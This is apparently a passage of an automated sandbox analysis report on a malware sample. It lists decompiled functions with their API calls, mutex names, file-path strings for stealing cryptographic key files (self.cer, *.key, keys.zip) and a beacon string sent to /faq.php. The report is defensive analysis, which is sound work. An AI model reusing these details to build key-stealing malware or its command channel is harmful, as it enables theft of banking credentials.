                                                                                                                                                                                                                      • Instruction ID: cacace2110d7e7fc5e5467b7fadef424b5f4210f6b41382ec7f82099bfa45805
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 49e96200b6aed1c0b99c7335b27b511592791fa09a03bd3d6667fca3e8aa7d85
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 21C13872644342ABD725CA349C9DFAB7BE5FB89704F104A08FE819B1C1DBB1A90DC791
                                                                                                                                                                                                                      Function 026F80C0 Relevance: 61.4, APIs: 32, Strings: 3, Instructions: 182memorysleepsynchronizationCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                        • Part of subcall function 026F7C80: #680.SHELL32 ref: 026F7C8A
                                                                                                                                                                                                                        • Part of subcall function 026F7C80: memset.MSVCRT(?,00000000,00000103,74DEF380), ref: 026F7CC1
                                                                                                                                                                                                                        • Part of subcall function 026F7C80: memset.MSVCRT(?,00000000,000000FF,?,00000000,00000103,74DEF380), ref: 026F7CD9
                                                                                                                                                                                                                        • Part of subcall function 026F7C80: RegOpenKeyExA.ADVAPI32(80000001,software\microsoft,00000000,00000101,?,?,?,?,?,74DEF380), ref: 026F7CFB
                                                                                                                                                                                                                        • Part of subcall function 026F7C80: RegQueryValueExA.ADVAPI32(?,00000001,00000000,00000001,?,00000104,?,?,?,?,74DEF380), ref: 026F7D21
                                                                                                                                                                                                                        • Part of subcall function 026F7C80: GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,?,?,74DEF380), ref: 026F7DAD
                                                                                                                                                                                                                        • Part of subcall function 026F7C80: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,74DEF380), ref: 026F7DB4
                                                                                                                                                                                                                      • OpenMutexA.KERNEL32(00100000,00000000,Global\{EAF799BF-8449-4fe1-9A0D-95CD39DC2014},D900D99Ca,d900d91da), ref: 026F8105
                                                                                                                                                                                                                      • Sleep.KERNEL32(00000064), ref: 026F8112
                                                                                                                                                                                                                      • OpenMutexA.KERNEL32(00100000,00000000,Global\{EAF799BF-8449-4fe1-9A0D-95CD39DC2014}), ref: 026F8124
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000), ref: 026F812D
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 026F8145
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 026F8157
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000,D900D99Ca,d900d91da), ref: 026F8162
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 026F8165
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 026F8172
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 026F8175
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000,D900D99Ca,d900d91da), ref: 026F8182
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 026F8185
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 026F8192
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 026F8195
                                                                                                                                                                                                                      • SetCaretBlinkTime.USER32(000000FF), ref: 026F81A7
                                                                                                                                                                                                                      • Sleep.KERNEL32(000001F4), ref: 026F81D5
                                                                                                                                                                                                                      • StrToIntA.SHLWAPI(00000000,D900D99Ca,d900d91da), ref: 026F8205
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000,D900D99Ca,d900d91da), ref: 026F8215
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 026F8218
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 026F8225
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 026F8228
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000,D900D99Ca,d900d91da), ref: 026F8235
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 026F8238
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 026F8245
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 026F8248
                                                                                                                                                                                                                      • Sleep.KERNEL32(00001388,D900D99Ca,d900d91da), ref: 026F8253
                                                                                                                                                                                                                      • closesocket.WS2_32(?), ref: 026F8285
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000,00000000,?), ref: 026F82A5
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000,00000000,?), ref: 026F82BD
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000), ref: 026F82CF
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(?,00000000), ref: 026F82F2
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(?), ref: 026F830C
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$Process$Free$HandleMutexValidate$OpenSleep$CloseInformationReleasememset$#680AllocBlinkCaretQueryTimeValueclosesocket
                                                                                                                                                                                                                      • String ID: D900D99Ca$Global\{EAF799BF-8449-4fe1-9A0D-95CD39DC2014}$d900d91da
                                                                                                                                                                                                                      • API String ID: 3496834494-1542680883
                                                                                                                                                                                                                      • Opcode ID: 57ed87d09184654d99aa641d9aecbcded099f9586982585d51d970b821558e75
                                                                                                                                                                                                                      • Instruction ID: 3dc49ac74d972e2a514e6ba10219436c14d54016e8d3174ba2d3204f39c45e47
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 57ed87d09184654d99aa641d9aecbcded099f9586982585d51d970b821558e75
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 03510771A81311AFEB619B709C4CF2B376DBF48756F448A58FB1597280DB70D810CBA5
                                                                                                                                                                                                                      Function 0270C850 Relevance: 56.3, APIs: 25, Strings: 7, Instructions: 271fileCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000103), ref: 0270C86F
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE256C), ref: 0270C8A7
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000), ref: 0270C8E7
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 0270C8F1
                                                                                                                                                                                                                      • #680.SHELL32 ref: 0270C8F9
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 0270C90A
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 0270C911
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,crypto), ref: 0270C923
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,self.cer), ref: 0270C936
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,self.pub), ref: 0270C947
                                                                                                                                                                                                                      • SetFileAttributesA.KERNEL32(?,00000000), ref: 0270C992
                                                                                                                                                                                                                      • DeleteFileA.KERNEL32(?), ref: 0270C99F
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: ErrorFileLastPath$#680AttributesBackslashCreateDeleteDirectoryFolderMakeSystemmemset
                                                                                                                                                                                                                      • String ID: 26EE256C$Local\{EAF799BF-8989-4fe1-9A0D-95CD39DC2014}$crypto$keys.zip$path.txt$self.cer$self.pub
                                                                                                                                                                                                                      • API String ID: 1722025706-3409555
                                                                                                                                                                                                                      • Opcode ID: 33d012fc0eb3c1bb00c577b34d4d68ef95954368c93e10cec5dc1ca74d44e805
                                                                                                                                                                                                                      • Instruction ID: c8ccd4f8fe216fac5a3bce2e1289165b95946b5b96dfca2aa9f7a722dfd3b26c
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 33d012fc0eb3c1bb00c577b34d4d68ef95954368c93e10cec5dc1ca74d44e805
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 7E913771D40319DFDB23DB749898BEB7BE9AF49701F04869EE946D7280DB708908CB90
                                                                                                                                                                                                                      Function 0270EB30 Relevance: 52.7, APIs: 26, Strings: 4, Instructions: 223memorysynchronizationsleepCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000103), ref: 0270EB4E
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26ee2404), ref: 0270EB7A
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000), ref: 0270EBBD
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 0270EBC3
                                                                                                                                                                                                                      • #680.SHELL32 ref: 0270EBCB
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 0270EBDC
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 0270EBE3
                                                                                                                                                                                                                      • SetFileAttributesA.KERNEL32(?,00000000), ref: 0270EC1B
                                                                                                                                                                                                                      • DeleteFileA.KERNEL32(?), ref: 0270EC28
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26ee2404,?,?), ref: 0270EC67
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(00000000,00000000), ref: 0270ECA5
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 0270ECAC
                                                                                                                                                                                                                      • #680.SHELL32 ref: 0270ECB4
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(00000000), ref: 0270ECC5
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 0270ECCC
                                                                                                                                                                                                                      • GetFileAttributesA.KERNEL32(?), ref: 0270ED06
                                                                                                                                                                                                                      • SetCurrentDirectoryA.KERNEL32(?), ref: 0270ED31
                                                                                                                                                                                                                      • CreateMutexA.KERNEL32(00000000,00000000,Local\{EAF799BF-8989-4fa1-9A0D-95CD39DC0214},00000000,?), ref: 0270ED55
                                                                                                                                                                                                                      • Sleep.KERNEL32(000003E8,Local\{EAF799BF-8989-4fa1-9A0D-95CD39DC0214},00000006), ref: 0270ED72
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000), ref: 0270ED79
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 0270ED8B
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0270ED9C
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 0270EDAB
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 0270EDAE
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 0270EDBB
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 0270EDBE
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: ErrorHeapLastPath$CreateDirectoryFile$#680AttributesBackslashFolderHandleMakeMutexProcessSystem$CloseCurrentDeleteFreeInformationReleaseSleepValidatememset
                                                                                                                                                                                                                      • String ID: 26ee2404$Local\{EAF799BF-8989-4fa1-9A0D-95CD39DC0214}$keys.zip$path.txt
                                                                                                                                                                                                                      • API String ID: 3642362227-1462255710
                                                                                                                                                                                                                      • Opcode ID: 504798dcb99c0d9bf1cfa9a59d2eb57867f74f42bb7e3489150ee065be456a0c
                                                                                                                                                                                                                      • Instruction ID: 41501638c0f7b409ef07d319c4ca624c839cd5872cceb8c6f193773956a82f70
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 504798dcb99c0d9bf1cfa9a59d2eb57867f74f42bb7e3489150ee065be456a0c
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 36714970900355DFDB228B359C98BEB7BE8EF4A302F58C994E985C7281DB70C948CB90
                                                                                                                                                                                                                      Function 02708350 Relevance: 49.4, APIs: 24, Strings: 4, Instructions: 391fileCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • malloc.MSVCRT(?,?,0274D19C,?,?,?,?,027140B0), ref: 027084B2
                                                                                                                                                                                                                      • malloc.MSVCRT(-00000004,?,?,?,?,027140B0), ref: 02708513
                                                                                                                                                                                                                      • sprintf.MSVCRT(00000000,%s.dbf,00000000,?,?,?,?,027140B0), ref: 02708522
                                                                                                                                                                                                                      • calloc.MSVCRT(00000001,0000003C,?,?,?,?,027140B0), ref: 0270852C
                                                                                                                                                                                                                      • fopen.MSVCRT(00000000,?,?,?,?,?,027140B0), ref: 02708539
                                                                                                                                                                                                                      • sprintf.MSVCRT(00000000,%s.DBF,00000000), ref: 0270854F
                                                                                                                                                                                                                      • fopen.MSVCRT(00000000,?), ref: 0270855A
                                                                                                                                                                                                                      • free.MSVCRT(00000000), ref: 0270856C
                                                                                                                                                                                                                      • free.MSVCRT(00000000), ref: 0270856F
                                                                                                                                                                                                                      • free.MSVCRT(00000000), ref: 0270857B
                                                                                                                                                                                                                      • malloc.MSVCRT(000001F4), ref: 027085A1
                                                                                                                                                                                                                      • fread.MSVCRT(00000000,00000020,00000001,75977310), ref: 027085AF
                                                                                                                                                                                                                      • fclose.MSVCRT(75977310), ref: 027085BE
                                                                                                                                                                                                                      • free.MSVCRT(00000000), ref: 027085CB
                                                                                                                                                                                                                      • free.MSVCRT(00000000), ref: 027085CE
                                                                                                                                                                                                                      • malloc.MSVCRT(?), ref: 02708631
                                                                                                                                                                                                                      • realloc.MSVCRT(00000000,?), ref: 0270863C
                                                                                                                                                                                                                      • fseek.MSVCRT(00000000,00000020,00000000), ref: 02708651
                                                                                                                                                                                                                      • fread.MSVCRT(00000000,?,00000001,00000000), ref: 02708661
                                                                                                                                                                                                                      • fclose.MSVCRT(00000000), ref: 02708672
                                                                                                                                                                                                                      • malloc.MSVCRT(?), ref: 0270868E
                                                                                                                                                                                                                      • malloc.MSVCRT(?), ref: 02708697
                                                                                                                                                                                                                      • malloc.MSVCRT(?), ref: 027086A0
                                                                                                                                                                                                                      • malloc.MSVCRT(?), ref: 027086AC
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: malloc$free$fclosefopenfreadsprintf$callocfseekrealloc
                                                                                                                                                                                                                      • String ID: %s.DBF$%s.dbf$r+b$rb+
                                                                                                                                                                                                                      • API String ID: 3942648141-1626032180
                                                                                                                                                                                                                      • Opcode ID: d97d90d78102ea4f8935a7c262c7f2a2c7e16d600d1d3267048cd41b78c22d1b
                                                                                                                                                                                                                      • Instruction ID: 06834e56dbb238b85d121b6fad0caf81b9697e4b75ba080acf0abf4eceeb0f12
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d97d90d78102ea4f8935a7c262c7f2a2c7e16d600d1d3267048cd41b78c22d1b
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 23D129B1A04241DFC7218F388CD477ABFE6AF4A204B594669E895CB382E736D50DCB52
                                                                                                                                                                                                                      Function 02706970 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 261memorysleepfileCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,000000A8), ref: 02706991
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,-000000F0,?,00000000), ref: 027069C7
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000,?,00000000), ref: 027069CE
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,-000000F0,?,00000000), ref: 027069E3
                                                                                                                                                                                                                      • GetTimeZoneInformation.KERNEL32(00000000,?,?,00000000), ref: 027069F2
                                                                                                                                                                                                                      • Sleep.KERNEL32(000001F4), ref: 02706A06
                                                                                                                                                                                                                      • #680.SHELL32(?,?,00000000), ref: 02706A2C
                                                                                                                                                                                                                      • GetTickCount.KERNEL32(?,?,00000000), ref: 02706A6A
                                                                                                                                                                                                                      • _snprintf.MSVCRT(?,?,id=%s&ver=4.1.2&up=%u&os=%03u&rights=%s&ltime=%s%d&token=%d,?,00000000,?,02739AFC,02739AF8,?,00000000,?,?,00000000), ref: 02706AA6
                                                                                                                                                                                                                      • GetTempPathA.KERNEL32(00000104,?), ref: 02706ABB
                                                                                                                                                                                                                      • GetTempFileNameA.KERNEL32(?,00000000,00000000,?), ref: 02706AD3
                                                                                                                                                                                                                      • SetFileAttributesA.KERNEL32(?,00000000), ref: 02706AE2
                                                                                                                                                                                                                      • DeleteFileA.KERNEL32(?), ref: 02706AEF
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 02706B64
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 02706B67
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 02706B74
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 02706B77
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000,00000000,00000001,00000001,/faq.php,?,00000001,?,027396FC,00000001,00000000,00000000,/faq.php,?,00000001), ref: 02706BED
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 02706BF0
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02706BFD
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 02706C00
                                                                                                                                                                                                                      • SetFileAttributesA.KERNEL32(?,00000000,00000000,00000001,00000000,/faq.php,?,00000001,?,?,00000001,00000000), ref: 02706C0F
                                                                                                                                                                                                                      • DeleteFileA.KERNEL32(?), ref: 02706C1C
                                                                                                                                                                                                                      • Sleep.KERNEL32(?,00000001,/faq.php,?,00000001,?,027396FC,00000001,00000000,00000000,/faq.php,?,00000001,?,027396FC,00000001), ref: 02706C61
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$FileProcess$AttributesDeleteFreeSleepTempValidatememset$#680AllocCountInformationNamePathTickTimeZone_snprintf
                                                                                                                                                                                                                      • String ID: %2b$/faq.php$id=%s&ver=4.1.2&up=%u&os=%03u&rights=%s&ltime=%s%d&token=%d
                                                                                                                                                                                                                      • API String ID: 1472505117-4291654836
                                                                                                                                                                                                                      • Opcode ID: 630cd583f0212817b21711b1456ae6ece0bab17def5239cd81e02f9ba2964782
                                                                                                                                                                                                                      • Instruction ID: 8ffd69fc026f7ce29e8f8726f1a8c4c604a50c0b7ba9c1a0bd074352d5a8ba0e
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 630cd583f0212817b21711b1456ae6ece0bab17def5239cd81e02f9ba2964782
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4E81F8B1E81215EBDB209B748D99FEB7BBDAB44301F448554EA05EB1C0EB70D918CBA0
                                                                                                                                                                                                                      Function 0270C240 Relevance: 47.6, APIs: 19, Strings: 8, Instructions: 362COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000104), ref: 0270C261
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE256C), ref: 0270C287
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000,?,00000001,?), ref: 0270C2E8
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 0270C2F2
                                                                                                                                                                                                                      • #680.SHELL32 ref: 0270C2FA
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 0270C30B
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 0270C312
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000104), ref: 0270C326
                                                                                                                                                                                                                      • SHFileOperationA.SHELL32(?), ref: 0270C3BD
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000104), ref: 0270C3D4
                                                                                                                                                                                                                      • SHFileOperationA.SHELL32(?), ref: 0270C452
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000104), ref: 0270C469
                                                                                                                                                                                                                      • SHFileOperationA.SHELL32(?), ref: 0270C4E6
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000104), ref: 0270C4FD
                                                                                                                                                                                                                      • SHFileOperationA.SHELL32(?), ref: 0270C578
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000104), ref: 0270C58F
                                                                                                                                                                                                                      • SHFileOperationA.SHELL32(?), ref: 0270C607
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000104), ref: 0270C61E
                                                                                                                                                                                                                      • SHFileOperationA.SHELL32(?), ref: 0270C6AB
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: memset$FileOperation$ErrorLastPath$#680BackslashCreateDirectoryFolderMakeSystem
                                                                                                                                                                                                                      • String ID: 26EE256C$\*.key$\@rand$\ABONENTS*$\CA*$\CRL*$\self.cer$keys
                                                                                                                                                                                                                      • API String ID: 429570753-1938801106
                                                                                                                                                                                                                      • Opcode ID: 00eb38d4d4cf8a6a36909292783fcf4e50178118d71cc30eaeb0e847b1221601
                                                                                                                                                                                                                      • Instruction ID: a2e33e6b19628bcf0b3ff051a1a464a1a7c36b143be21fabe5a704e92fa7a126
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 00eb38d4d4cf8a6a36909292783fcf4e50178118d71cc30eaeb0e847b1221601
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 47E12CB0D002599FCB52CFA8D994AEEBBF4EF4D300F1085AAD588E7251E7309658CF90
                                                                                                                                                                                                                      Function 027120D0 Relevance: 47.5, APIs: 24, Strings: 3, Instructions: 225fileCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000103), ref: 027120EE
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26ee2120), ref: 0271212F
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26ee2120), ref: 0271216B
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000), ref: 02712180
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 0271218A
                                                                                                                                                                                                                      • #680.SHELL32 ref: 02712192
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 027121A3
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 027121AA
                                                                                                                                                                                                                      • SetFileAttributesA.KERNEL32(?,00000000), ref: 027121E2
                                                                                                                                                                                                                      • DeleteFileA.KERNEL32(?), ref: 027121EF
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26ee2120,?,?), ref: 02712237
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Path$Backslash$ErrorFileLast$#680AttributesCreateDeleteDirectoryFolderMakeSystemmemset
                                                                                                                                                                                                                      • String ID: 26ee2120$keys.zip$path.txt
                                                                                                                                                                                                                      • API String ID: 523324327-1383912376
                                                                                                                                                                                                                      • Opcode ID: 1fbd9705460ef1aa5acd807af792284614a7e7a2c7d6f79367174c385734d69d
                                                                                                                                                                                                                      • Instruction ID: 48a63b68a8c03ea749ecf750447f20fe06bda3b1cc407c15f3d783364ffa6336
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1fbd9705460ef1aa5acd807af792284614a7e7a2c7d6f79367174c385734d69d
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 037137709403659FDB228B389C58BEB7BE4FF4A301F548594EA85D7242DB708948CBA0
                                                                                                                                                                                                                      Function 026FAAF0 Relevance: 45.8, APIs: 24, Strings: 2, Instructions: 267COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                      • String ID: open$taskmgr
                                                                                                                                                                                                                      • API String ID: 0-1543563666
